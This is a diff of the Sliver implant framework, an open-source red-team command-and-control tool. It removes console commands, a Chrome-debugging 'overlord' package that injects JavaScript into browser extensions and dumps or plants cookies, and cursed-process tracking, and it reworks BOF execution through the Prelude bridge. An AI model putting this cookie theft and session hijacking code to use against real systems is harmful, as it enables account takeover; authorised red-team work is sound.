// we just bind to all interfaces implant-side
if portNumberOnlyRegexp.MatchString(bindAddress) {
bindAddress = fmt.Sprintf(":%s", bindAddress)
}
forwardAddress := ctx.Flags.String("remote")
// Check if the forward address is just a port number, if no host is specified
// we just forward to localhost client-side
if portNumberOnlyRegexp.MatchString(forwardAddress) {
forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
}
rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
Request: con.ActiveTarget.Request(ctx),
BindAddress: bindAddress,
ForwardAddress: forwardAddress,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStartedRportFwdListener(rportfwdListener, con)
}
func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
-55
View File
@@ -1,55 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
listenerID := ctx.Flags.Int("id")
rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
Request: con.ActiveTarget.Request(ctx),
ID: uint32(listenerID),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStoppedRportFwdListener(rportfwdListener, con)
}
func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
-74
View File
@@ -1,74 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
}
func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
return
}
if len(rportfwdListeners.Listeners) == 0 {
con.PrintInfof("No reverse port forwards\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Remote Address",
"Bind Address",
})
for _, p := range rportfwdListeners.Listeners {
tw.AppendRow(table.Row{
p.ID,
p.ForwardAddress,
p.BindAddress,
})
}
con.Printf("%s\n", tw.Render())
}
+3 -6
View File
@@ -130,9 +130,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -141,7 +140,6 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Message",
"Health",
})
@@ -179,7 +177,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -188,8 +186,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
}
} else {
-2
View File
@@ -157,8 +157,6 @@ func emojiState(state string) string {
return "⏳"
case "failed":
return "❌"
case "canceled":
return "🚫"
default:
return "❓"
}
-60
View File
@@ -1,60 +0,0 @@
package tasks
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
idArg := ctx.Args.String("id")
var task *clientpb.BeaconTask
var err error
if idArg == "" {
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tasks := []*clientpb.BeaconTask{}
for _, task := range beaconTasks.Tasks {
if task.State == "pending" {
tasks = append(tasks, task)
}
}
if len(tasks) == 0 {
con.PrintErrorf("No pending tasks for beacon\n")
return
}
task, err = SelectBeaconTask(tasks)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf(console.UpN+console.Clearln, 1)
} else {
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if task != nil {
task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Task %s canceled\n", task.ID)
}
}
-2
View File
@@ -97,8 +97,6 @@ func prettyState(state string) string {
return console.Bold + console.Orange + state + console.Normal
case "completed":
return console.Bold + console.Green + state + console.Normal
case "canceled":
return console.Bold + console.Gray + state + console.Normal
default:
return state
}
-29
View File
@@ -216,7 +216,6 @@ func (con *SliverConsoleClient) EventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
core.CloseCursedProcesses(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
@@ -525,34 +524,6 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
go spin.Until(con.App.Stdout(), message, ctrl)
}
// FormatDateDelta - Generate formatted date string of the time delta between then and now
func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
nextTime := t.Format(time.UnixDate)
var interval string
if t.Before(time.Now()) {
if includeDate {
interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
} else {
interval = time.Since(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
}
} else {
if includeDate {
interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
} else {
interval = time.Until(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
}
}
return interval
}
//
// -------------------------- [ Active Target ] --------------------------
//
+2 -17
View File
@@ -88,12 +88,6 @@ const (
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
// ExternalBuildEvent
ExternalBuildEvent = "external-build"
// WireGuardNewPeer - New Wireguard peer added
WireGuardNewPeer = "wireguard-newpeer"
)
// Commands
@@ -110,7 +104,6 @@ const (
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
CancelStr = "cancel"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerInfoStr = "info"
@@ -230,9 +223,8 @@ const (
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
RportfwdStr = "rportfwd"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
ReactionStr = "reaction"
@@ -246,13 +238,6 @@ const (
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
Cursed = "cursed"
CursedChrome = "chrome"
CursedConsole = "console"
CursedElectron = "electron"
CursedEdge = "edge"
CursedCookies = "cookies"
)
// Groups
-92
View File
@@ -1,92 +0,0 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"net/url"
"sync"
)
var (
// SessionID -> CursedProcess
CursedProcesses = &sync.Map{}
)
type CursedProcess struct {
SessionID string
PID uint32
BindTCPPort int
PortFwd *Portfwd
Platform string
ExePath string
ChromeUserDataDir string
}
func (c *CursedProcess) DebugURL() *url.URL {
return &url.URL{
Scheme: "http",
Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
Path: "/json",
}
}
func CursedProcessBySessionID(sessionID string) []*CursedProcess {
var cursedProcesses []*CursedProcess
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
cursedProcesses = append(cursedProcesses, cursedProcess)
}
return true
})
return cursedProcesses
}
func CloseCursedProcesses(sessionID string) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
-371
View File
@@ -1,371 +0,0 @@
package overlord
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
"time"
"github.com/bishopfox/sliver/client/core"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/network"
"github.com/chromedp/cdproto/page"
"github.com/chromedp/cdproto/target"
"github.com/chromedp/chromedp"
)
const (
// AllURLs - All URLs permission
AllURLs = "<all_urls>"
// AllHTTP - All HTTP permission
AllHTTP = "http://*/*"
// AllHTTPS - All HTTP permission
AllHTTPS = "https://*/*"
// WebRequest - WebRequest permission
WebRequest = "webRequest"
// WebRequestBlocking - WebRequestBlocking permission
WebRequestBlocking = "webRequestBlocking"
// FetchManifestJS - Get extension manifest
FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
)
var (
// ErrTargetNotFound - Returned when a target cannot be found
ErrTargetNotFound = errors.New("Target not found")
)
// ManifestBackground - An extension manifest file
type ManifestBackground struct {
Scripts []string `json:"scripts"`
Persistent bool `json:"persistent"`
}
// Manifest - An extension manifest file
type Manifest struct {
Name string `json:"name"`
Version string `json:"version"`
Description string `json:"description"`
ManifestVersion int `json:"manifest_version"`
Permissions []string `json:"permissions"`
Background ManifestBackground `json:"background"`
}
// ChromeDebugTarget - A single debug context object
type ChromeDebugTarget struct {
Description string `json:"description"`
DevToolsFrontendURL string `json:"devtoolsFrontendUrl"`
ID string `json:"id"`
Title string `json:"title"`
Type string `json:"type"`
URL string `json:"url"`
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
}
var allocCtx context.Context
func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
opts := []func(*chromedp.ExecAllocator){
chromedp.Flag("restore-last-session", true),
chromedp.UserDataDir(userHomeDir),
}
switch platform {
case "darwin":
opts = append(opts,
chromedp.Flag("headless", false),
chromedp.Flag("use-mock-keychain", false),
)
default:
opts = append(opts, chromedp.Headless)
}
opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
return opts
}
func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
var (
cancel context.CancelFunc
)
if webSocketURL != "" {
allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
} else {
opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
}
taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
return taskCtx, taskCancel, cancel
}
func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
targets, err := chromedp.Targets(ctx)
if err != nil {
return nil
}
for _, targetInfo := range targets {
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
return targetInfo
}
}
return nil
}
func contains(haystack []string, needle string) bool {
set := make(map[string]struct{}, len(haystack))
for _, entry := range haystack {
set[entry] = struct{}{}
}
_, ok := set[needle]
return ok
}
func containsAll(haystack []string, needles []string) bool {
all := true
for _, needle := range needles {
if !contains(haystack, needle) {
all = false
break
}
}
return all
}
// ExecuteJS - injects a JavaScript code into a target
func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
targetInfo := findTargetInfoByID(ctx, targetID)
if targetInfo == nil {
return nil, ErrTargetNotFound
}
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
var result []byte
evalTasks := chromedp.Tasks{
chromedp.Evaluate(jsCode, &result),
}
err := chromedp.Run(extCtx, evalTasks)
return result, err
}
// FindExtensionWithPermissions - Find an extension with a permission
func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
return &target, nil
}
}
return nil, nil // No targets, no errors
}
// FindExtensionsWithPermissions - Find an extension with a permission
func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
extensions := []*ChromeDebugTarget{}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
extensions = append(extensions, &target)
}
}
return extensions, nil
}
// QueryDebugTargets - Query debug listener using HTTP client
func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
return debugContexts, err
}
// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
if err != nil {
return nil, err
}
extensionContexts := []ChromeDebugTarget{}
for _, debugCtx := range debugContexts {
ctxURL, err := url.Parse(debugCtx.URL)
if err != nil {
continue
}
if ctxURL.Scheme == "chrome-extension" {
extensionContexts = append(extensionContexts, debugCtx)
}
}
return extensionContexts, nil
}
// DumpCookies - Dump all cookies from the remote debug target
func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
var cookies []*network.Cookie
var err error
dumpCookieTasks := chromedp.Tasks{
// read network values
chromedp.ActionFunc(func(ctx context.Context) error {
cookies, err = network.GetAllCookies().Do(ctx)
if err != nil {
return err
}
// for i, cookie := range cookies {
// log.Printf("chrome cookie %d: %+v", i, cookie)
// }
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
return cookies, err
}
return cookies, nil
}
func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
var res string
setCookieTasks := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
// create cookie expiration
expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
// add cookies to chrome
for i := 0; i < len(cookies); i += 2 {
err := network.SetCookie(cookies[i], cookies[i+1]).
WithExpires(&expr).
WithDomain("localhost").
WithHTTPOnly(true).
Do(ctx)
if err != nil {
return err
}
}
return nil
}),
// navigate to site
// chromedp.Navigate(host),
// read the returned values
// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, setCookieTasks); err != nil {
return "", err
}
return res, nil
}
// Screenshot - Take a screenshot of a Chrome context
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
var result []byte
screenshotTask := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
if err != nil {
return err
}
result, err = page.CaptureScreenshot().
WithQuality(quality).
WithClip(&page.Viewport{
X: contentSize.X,
Y: contentSize.Y,
Width: contentSize.Width,
Height: contentSize.Height,
Scale: 1,
}).Do(ctx)
if err != nil {
return err
}
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
targetInfo := findTargetInfoByID(taskCtx, targetID)
if targetInfo == nil {
return []byte{}, ErrTargetNotFound
}
ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
if err := chromedp.Run(ctx, screenshotTask); err != nil {
return nil, err
}
return result, nil
}
+9 -1
View File
@@ -1,4 +1,12 @@
Prelude
=======
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
## BOF support
To execute BOF TTPs, use the custom `bof` executor:
```json
bof.[{"type": "int", "value": #{json.T1234.ProcessId}}]
```
+52 -42
View File
@@ -34,52 +34,62 @@ func RunCommand(message string, executor string, payload []byte, agentSession *O
switch executor {
case "keyword":
task := splitMessage(message, '.')
switch task[0] {
case "bof":
if len(task) != 2 {
break
}
var bargs []bofArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &bargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "execute-assembly":
if len(task) < 2 {
break
}
var eaargs execasmArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &eaargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
}
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "exit":
return shutdown(agentSession)
default:
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
}
return processKeywordExecutor(task, payload, agentSession, onFinish)
case "bof", "extension":
// can be either BOF or regular extension
return runExtension(message, payload, agentSession.Implant, agentSession.RPC, onFinish)
default:
bites, status, pid := execute(message, executor, agentSession, onFinish)
return string(bites), status, pid
}
}
func processKeywordExecutor(task []string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
if len(task) == 0 {
return "", ErrorExitStatus, ErrorExitStatus
}
switch task[0] {
case "bof":
if len(task) != 2 {
break
}
var bargs []bofArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &bargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "execute-assembly":
if len(task) < 2 {
break
}
var eaargs execasmArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &eaargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
}
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "exit":
return shutdown(agentSession)
default:
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
}
return "", ErrorExitStatus, ErrorExitStatus
}
+36
View File
@@ -0,0 +1,36 @@
package prelude
import (
"encoding/json"
"github.com/bishopfox/sliver/protobuf/rpcpb"
)
//{"Name":"coff-loader", "ServerStore":false, "Args":"PAYLOAD.BYTES", "Export":"LoadAndRun", "arguments": [{"type": "wstring", "value": "C:\Users\lab\Downloads\RELIEVED_TV.exe"}]}
type extensionMessage struct {
Name string `json:"Name"`
ServerStore bool `json:"ServerStore"`
Args string `json:"Args"`
Export string `json:"Export"`
Arguments []bofArgs `json:"arguments"`
}
func runExtension(message string, payload []byte, activeImplant ActiveImplant, rpc rpcpb.SliverRPCClient, onFinish func(string, int, int)) (string, int, int) {
var msg extensionMessage
err := json.Unmarshal([]byte(message), &msg)
if err != nil {
println(message)
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if msg.Args == "PAYLOAD.BYTES" {
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(activeImplant, rpc, payload, msg.Arguments, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, SuccessExitStatus, SuccessExitStatus
}
return "Unsupported extension", ErrorExitStatus, ErrorExitStatus
}
-1
View File
@@ -112,7 +112,6 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
a.GetID()
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
Name: a.GetID(),
+1 -1
View File
@@ -21,7 +21,7 @@ package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
"file": {"powershell.exe", "powershell.exe", "cmd.exe", "", ""},
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
},
"linux": {
+1 -1
View File
@@ -14,7 +14,7 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.6)
commonmarker (0.23.4)
concurrent-ruby (1.1.9)
dnsruby (1.61.9)
simpleidn (~> 0.1)
+2 -2
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.19.1"
GARBLE_VER="1.19.2"
GO_VER="1.18.5"
GARBLE_VER="1.18.0"
SGN_VER="0.0.3"
GO_ARCH_1="amd64"
+39 -53
View File
@@ -1,59 +1,53 @@
module github.com/bishopfox/sliver
go 1.18
go 1.17
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.3.6
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.1.0
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
github.com/chromedp/chromedp v0.8.5
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.13.0
github.com/gofrs/uuid v4.3.0+incompatible
github.com/fatih/color v1.12.0
github.com/gofrs/uuid v3.3.0+incompatible
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
github.com/jedib0t/go-pretty/v6 v6.3.8
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.15
github.com/miekg/dns v1.1.50
github.com/mattn/go-sqlite3 v1.14.12
github.com/miekg/dns v1.1.35
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/onsi/ginkgo v1.16.5
github.com/onsi/gomega v1.20.2
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.22.8
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.5.0
github.com/stretchr/testify v1.8.0
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
